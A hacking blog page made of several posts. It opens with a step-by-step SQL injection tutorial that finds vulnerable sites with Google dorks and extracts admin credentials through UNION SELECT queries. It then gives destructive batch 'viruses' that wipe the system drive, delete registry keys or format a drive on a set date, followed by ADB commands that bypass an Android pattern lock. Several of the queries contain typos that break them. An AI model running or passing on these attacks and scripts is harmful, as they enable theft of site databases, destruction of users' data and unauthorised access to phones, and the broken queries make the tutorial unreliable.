Hacking Website using SQL Injection

Website Hacking

What is SQL injection ?

SQL injection is one of the popular web application hacking method. Using the SQL injection attack, an unauthorized person can access the database of the website.Attackers can extract the data from database.

What a hacker can do with SQL injection attack?

• Bypassing Logins
• Accessing secret data
• Modifying contents of website
• Shutting down the My SQL Server

Lets go ....

Step 1: Finding the Vulnerable Website:

To find SQL injection vulnerable site, you can use google search by searching for certain keywords. Those keyword often referred as 'Google dork'.

Some Examples//

inurl:index.php?id=
inurl:gallery.php?ide=
inurl:pageid= 
inurl:article.php?id=


Copy one of the above code and paste in google. Here, we will got lot search result. We have to visit the website one by one for checking the vulnerability.

Note: if you like to hack particular website, then try this:
site: www.victimsite.com dork_list_commands

for eg:
         site:www.victimsite.com inurl:index.php?id=


Step 2: Checking the vulnerabilities

Now, lets check the vulnerabilitiesof the target website. To check the vulnerability, add the single quotes(') at the end of the url and hit enter.

For eg//

http://www.victimsite.com/index.php?id=2'

If the page remains in the same page or showing that page not found, then it is not vulnerable.

If you got an error message just like this, then it means that the site is vulnerable.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to user near '\' at line 1

Step 3: Finding number of columns:
Great we have found the website is vulnerable to SQLi attack. Our next step is to find the number of columns present in the target database.

For that replace the single quotes(') with "order by n" statement.
Change the n from 1,2,3,4,5,.......n. Until you get the error like "unknown column".

For eg//

http://www.victimsite.com/index.php?id=2 order by 1
http://www.victimsite.com/index.php?id=2 order by 2
http://www.victimsite.com/index.php?id=2 order by 3
http://www.victimsite.com/index.php?id=2 order by 4

If you get the error while tryimg the "x"th number, then the number of column is "x-1".
I mean,

http://www.victimsite.com/index.php?id=2 order by 1(no error)
http://www.victimsite.com/index.php?id=2 order by 2(no error)
http://www.victimsite.com/index.php?id=2 order by 3(no error)
http://www.victimsite.com/index.php?id=2 order by 4(no error)
http://www.victimsite.com/index.php?id=2 order by 5(no error)
http://www.victimsite.com/index.php?id=2 order by 6(no error)
http://www.victimsite.com/index.php?id=2 order by 7(no error)
http://www.victimsite.com/index.php?id=2 order by 8(error)

So now x=8. the number of column is x-1 i.e. 7

In case, if the above methods fails to work for you, then try to add the "--" at the end of the statement.

For eg//

http://www.victimsite.com/index.php?id=2 order by 1--

Step 4:Find the vulnerable columns:

We have successfully discovered the number of columns present in the target database.Let us fiind the vulnerable column by trying the query "union_select columns_sequence".

Changing the id value to negative (i.e. id=-2). Replace the column sequence with the number of 1 to x-1(number of columns)seperated by commas(,).

For eg//

if the number of column is 5, then the query is as follow

http://www.victimsite.com/index.php?id=-2 union select 1,2,3,4,5,6,7--

If the above method is not working then try this:

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,3,4,5,6,7--

Once you execute the query, it will display the vulnerable column

Bingo,column "3" and "7" are found as vulnerable . Let us thake the first vulnerable column '3'.We can inject our query in this column.

Step 5: Finding version,database,user

Replace the 3 from the query with "version()"

For eg//

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,version(),4,5,6,7--

Now, it will display the version as 5.0.1 or 4.33. Something like this.

Replace the version() with database() ans user() for finding the database,user respectively.

For eg//

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,databse(),4,5,6,7--

http://www.victiimsite.com/index.php?id=-2 and 1=2 union select 1,2,user(),4,5,6,7--

If the above is not working then try this

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,unhex(hex(@@version)),4,5,6,7--

Step 6: Finding the table name:

If the database version is 5 or above. If the version is 4.x, then you have to guess the tables names(blind SQL injection attacks)

Let us find the table nameof the database. Replace the 3 with"group_contact(table_name) and add the "from information_schema.tables where table_schema=databse()"

For eg//

http://www,victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_contact(table_name),4,5,6,7 from informatio_svhema.tables where table_schema=database()--

Now it will display the list of table names which is related with the admin and the user.

Let us choose the admin table.

Step 7: Finding the Column name

Now replace the "group_contact(table_name)"with the "group_contact(column_name)".

Replace the "from information_schema.tables where table_schema=database()--" with "FROM information_schema.columns WHERE table_name=mysqlchar-- ".

We have to convert the table name to MySQL CHAR() string.

Install the HackBar Addon:

https://addons.mozilla.org/en-US/firefox/addon/3899/

Once you installed the addon , you can see a toolbar that will like the following one.If you are not able to see the HackBar, Then press F9.

Select sql->Mysql->MysqlChar() in the HackBar.

It will ask you t enter string you want to convert to MYSQLCHAR().We want to convert the table name to MysqlCHAR. In our case the table name is 'admin'.

Now you can see the CHAR(number seperated by Commas) in the Hack toolbar.

Copy and paste the code at the end of the url instead of the "mysqlchar".

For eg//

http://www.victimsite.com/iindex.php?id=-2 and 1=2 union select 1,2,group_contact(column_name),4,5,6,7 from information_schema.columns where table_name=CHAR(97,100,109,105,110)--

The above query will display the list of columns.

For eg//

admin,password,admin_id,admin_name,admin_password,active,admin_name,admin_pass,admin_password,ID_admin,admin_username,username,password,etc..

Now replace the replace group_contact(column_name) with group_contact(columnname1,0x3a,anothercolumnname2).

Now replace the "from information_schema.columns where table_name=CHAR(97,100,109,105,110)" with the "from table_name"

For eg//

http://www.victimsite.com/index.php?id=-2 and 1=2 union select 1,2,group_contact(admin_id,0x3a,admin_password),4,5,6,7 from admin--

If the above query display the "column is not found" error, then try another column name from the list.

If we got luck, it will display the data stored in the database depending on your column name. For instance, username and password column will display the login credentials stored in the database.

Step 8: Finding the Admin panel:

Just try the URL like

http://www.victimsite.com/admin.php

http://www.victimsite.com/admin/

http://www.victimsite.com/admin.html

http://www.victimsite.com:2082/

etc..

If you got lick you will find the admin page using above URL's or you can use some kind of admin finder tools.

Imp Note:This tutorial is for educational purpose only. I will not responsible for any harm or damage. Do it at your own risk.

.

Read More

Create your own VIRUS

Virus Writing

Virus is one of the interesting program that is used to destroy a system generally. Today here i'm going to write some notepad program that can be used as a Virus.

Important: I am not responsible for any damage or error reporting to you pc,do it at your own risk.

All scripts are here to be copied in notepad.

>>This Virus Deleted all the Contents of a       Drive... 

@echo off
del%systemdrive%*.*/f /s /q 
shutdown -r -f -t 00

Save the above code in .bat file

>>The Most Simple Virus to Crush the Windows

@Echo off
Del C:\ *.* |y

Save it as Anything.bat

>>Delete key Registery files [NOTE THIS IS DANGEROUS!! USE AT RISK]

This will delete key registery files, then loops a message (CANNOT BE RECOVERED FROM)*

Code:

@ECHO OFF
START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*
:MESSAGE
ECHO Your computer has been f**ked . Have a nice day.
GOTO MESSAGE

>>Endless Notepads

* This will pop up endless notepads untill the computer freezez and crashes*

Code:

@ECHO OFF
:top
START %SystemRoot%\system32\notepad.exe
GOTO top


>>Bomb Virus

Copy paste the following


if %date% NEQ 2014/06/29 goto exit
format E: /y >nul
:exit
exit

And save it as Anything.bat

Note: you can change the date ( 2014/06/29) of the virus and the location (E:) on which it does action.

This virus will take effect on that day.

>>Endless Enter

*This contantly makes it so the enter button is being pressed continuosly*

Code:

Set wshShell=wscript.Createobject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "~(enter)"

loop

>>Endless Backspace

*This make it so the backspace key is constantly being presses*
Code:

MsgBox "Let's go back a few Steps"
Set Wshshell=wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshell.sendkeys "{bs}"
loop

Instructions:

• Paste the above code in notepad.
• Save as "Anyname.vbs"
• Run the file
• To stop, launch task manager and then under "Processes" end "wscript.exe"

I hope you would like it...

Keep Visiting...

Read More

Create own Folder Lock

Folder Lock

Folder locks have become the necessity for this generation for the every obvious reasons which we all know.. But finding them for free on the internet is sometimes not easy task to do.

There are lots of issues related to the free online folder locks like the trial period, fake serial key and lots more..

Features that would be available with this Folder Lock

• Ability to lock and unlock it with your desired password.
• Hide the folder from everybody(The folder will remain hidden even if you check the option reading "Show Hidden Files and Folders").

Process to create your own Folder Lock

1) Open the notepad file and copy the below code in it.

2) Type your desired password for the Folder Lock in the place highlighted in the red reading "type your password here" in the code.

3) After making the necessary changes , save the file with the name "locker.bat" 

4) Now a bat file has created. Double click on it.

5) Double clicking on bat file automatically generate the locker folder in which yu can add your files like you        do in other ordinary folders.

6) Now to hide and lock the folder, again double click on the bat file created by you i.e, 'locker.bat' file. You      will see a message like this..

     " Are you sure you want to lock the Folder(Y/N), type Y(yes) and press Enter to lock and hide it.

7) Now if you want to make the folder visible and unlock it, simply double click the 'locker.bat' file and enter      the password chosen by you in the Code and press enter. The unlocked folder lock will again be visible then.

Code:

---

---

cls
@ECHO OFF
title Folder Locker
if EXIST "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" goto UNLOCK
if NOT EXIST Locker goto MDLOCKER
:CONFIRM
echo Are you sure you want to lock the Folder(Y/N)
set/p "cho=>"
if %cho%==Y goto LOCK
if %cho%==y goto LOCK
if %cho%==n goto END
if %cho%==N goto END
echo Invalid Choice.
goto CONFIRM
:LOCK
ren LOCKER "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
attrib +h +s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
echo Folder Locked
goto END
:UNLOCK
echo Enter Password to Unlock Folder
set/p "pass=>"
if NOT %pass%==type your password here goto FAIL
attrib -h -s "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}"
ren "Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}" Locker
echo Folder Unlocked Successfully
goto END
:FAIL
echo Invalid Password
goto END
:MDLOCKER
md Locker
echo Locker Created Successfully
goto END

:END

---

---

I hope you would like this post, if you like this then keep in touch with us by following our blog..
Even if you are having any problem regarding this post, then comment below...

Keep Visiting...

Read More

Bypass Android Pattern Lock

Bypass Android Pattern Lock

It can be extremely frustrating when you've forgotten the pattern you use to lock you smartphone( here Android), and even more so if someone has managed to prank you by changing it.Luckily, there's an easy fix..

Just follows the below procedures....

METHOD: 1

Solution for everyone via Adb-SQL Command:

INSTRUCTIONS:

1. Type this command seperated in your terminal (CMD Prompt):

Code:

adb shell

cd /data/data/com.android.providers.settings/databases

sqlite3 settings.db

update system set value=0 where name='lock_pattern_autolock' ;

update  system set value=0 where

name-'lockscreen.lockedoutpermanently' ;

quit

2. now you just have to Reboot.

Note:If you see the Gesture pattern grid or password after Restarting.Don't worry.just try any Random password and it should unlock.

Method: 2

Solutions for everyone via Adb-File Removal

INSTRUCTIONS:

1. Type this command in the terminal (CMD Prompt):

Code:

adb shell rm /data/system/gesture.key

Note: If you see the Gesture Pattern Grid or Password after restarting. Don't Worry. Just Try any random pattern or password and it should Unlock.

Read More

Hard Reset Android Phones

Hard Reset Android Phone

It's time to reset your factory setting, using this Hard reset method. This will work even after you have forgotten your password. After the Hard Reset the whole phone memory data will be erased that was set earlier even your password too.

Just follow the below procedure:

1. Switch off your cell..

 

2 Press and hole the recovery button....

You will need to hold and press the buttons for few seconds

Some Common button combimation includes:

-> Volume UP + Home + Power .

->Volume Down + Power

->Home + Power

-> If none of the above word, do a wb search with your mobile model.

3.Select Wipe data/ Factory reset by navigating using volume button and to select use power button ( SOme models uses camera button).

4. Inside that select " Yes - delete all users"

5. Now thats all , wait for the mobile to reboot.

I hope you would like this post, just follow us to know more hack tricks...

Read More